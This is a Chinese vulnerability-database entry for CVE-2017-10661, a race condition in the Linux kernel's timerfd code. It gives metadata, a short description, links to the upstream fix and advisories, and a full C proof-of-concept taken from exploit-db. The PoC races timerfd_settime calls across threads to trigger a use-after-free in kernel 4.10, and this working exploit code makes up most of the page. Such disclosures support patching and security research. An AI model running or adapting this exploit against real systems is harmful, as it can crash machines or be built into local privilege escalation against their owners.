Linux kernel 竞争条件漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1124586 漏洞类型 竞争条件
发布时间 2017-12-15 更新时间 2019-06-28
CVE编号 CVE-2017-10661 CNNVD-ID CNNVD-201706-1155
漏洞平台 Linux CVSS评分 7.6
|漏洞来源
https://www.exploit-db.com/exploits/43345
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-201706-1155
|漏洞详情
Linux kernel是美国Linux基金会发布的开源操作系统Linux所使用的内核。 Linux kernel 4.10.15版本中的fs/timerfd.c文件存在竞争条件漏洞。本地攻击者可利用该漏洞获取权限或造成拒绝服务(列表损坏或释放后重用)。
|漏洞EXP
/*
 * PoC for CVE-2017-10661, triggers UAF with KASan enabled in kernel 4.10
 */
#include <string.h>
#include <sys/timerfd.h>
#include <sys/time.h>
#include <sys/msg.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/mman.h>
#include <errno.h>
#include <time.h>
#include <netinet/ip.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <pthread.h>
#define RACE_TIME 1000000
int fd;
int fd_dumb;
int count=0;


void* list_add_thread(void* arg){

    int ret;

    struct itimerspec new ={
        .it_interval={
            .tv_sec=100,
            .tv_nsec=100
        },
        .it_value={
            .tv_sec=100,
            .tv_nsec=100
        }
    };

    int i=0;
    while(i<1){

        ret=timerfd_settime(fd,3,&new,NULL);

        if(ret<0){
            perror("timerfd settime failed !");
        }
        i++;
    }


    return NULL;
}

void* list_del_thread(void* arg){

    int ret;

    struct itimerspec new ={
        .it_interval={
            .tv_sec=100,
            .tv_nsec=100
        },
        .it_value={
            .tv_sec=100,
            .tv_nsec=100
        }
    };

    int i=0;
    while(i<1){
        ret=timerfd_settime(fd,1,&new,NULL);

        if(ret<0){
            perror("timerfd settime failed !");
        }
        i++;
    }
    return NULL;

}

int post_race()
{
    int ret;

    struct itimerspec new ={
        .it_interval={
            .tv_sec=100,
            .tv_nsec=100
        },
        .it_value={
            .tv_sec=100,
            .tv_nsec=100
        }
    };

    int i=0;

    struct timeval tv={
        .tv_sec = 120+count*2,
        .tv_usec = 100
    };
    ret=settimeofday(&tv,NULL);
    if(ret<0){
        perror("settimeofday");
    }
    return 0;
}

int do_race(){
    int ret_add[2];
    int i;
    int j;
    pthread_t th[2]={0};

    i=0;
    while(i<RACE_TIME){
        if(i%128)
            printf("%d\n",i);


        fd=timerfd_create(CLOCK_REALTIME,0); // create the victim ctx
        if(fd<0){
            perror("timerfd craete failed!");
            return -1;
        }
        ret_add[0] = pthread_create(&th[0],NULL,list_add_thread,(void*)1);
        ret_add[1] = pthread_create(&th[1],NULL,list_add_thread,(void*)2);

        for( j=0;j<2;j++){
            pthread_join(th[j],NULL);
        }

        close(fd);
        usleep(150000);

        i++;
        count++;
    }
    return 0;
}

int main(int argc, char const *argv[])
{
    int ret;

    // add dumb ctx
    void* area;
    void* base;
    struct itimerspec new ={
        .it_interval={
            .tv_sec=100,
            .tv_nsec=100
        },
        .it_value={
            .tv_sec=100,
            .tv_nsec=100
        }
    };
    fd_dumb = timerfd_create(CLOCK_REALTIME,0);

    ret=timerfd_settime(fd_dumb,3,&new,NULL);
    if(ret<0){
        perror("timerfd settime failed !");
    }

    ret=do_race();
    if(ret <0){
        puts("race failed!");
        goto error_end;
    }

    sleep(5);
error_end:
    close(fd);
    exit(1);
}
|参考资料

来源:CONFIRM
链接:http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=1e38da300e1e395a15048b0af1e5305bd91402f6
来源:CONFIRM
链接:http://www.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.10.15
来源:CONFIRM
链接:https://bugzilla.redhat.com/show_bug.cgi?id=1481136
来源:CONFIRM
链接:https://github.com/torvalds/linux/commit/1e38da300e1e395a15048b0af1e5305bd91402f6
来源:CONFIRM
链接:https://source.android.com/security/bulletin/2017-08-01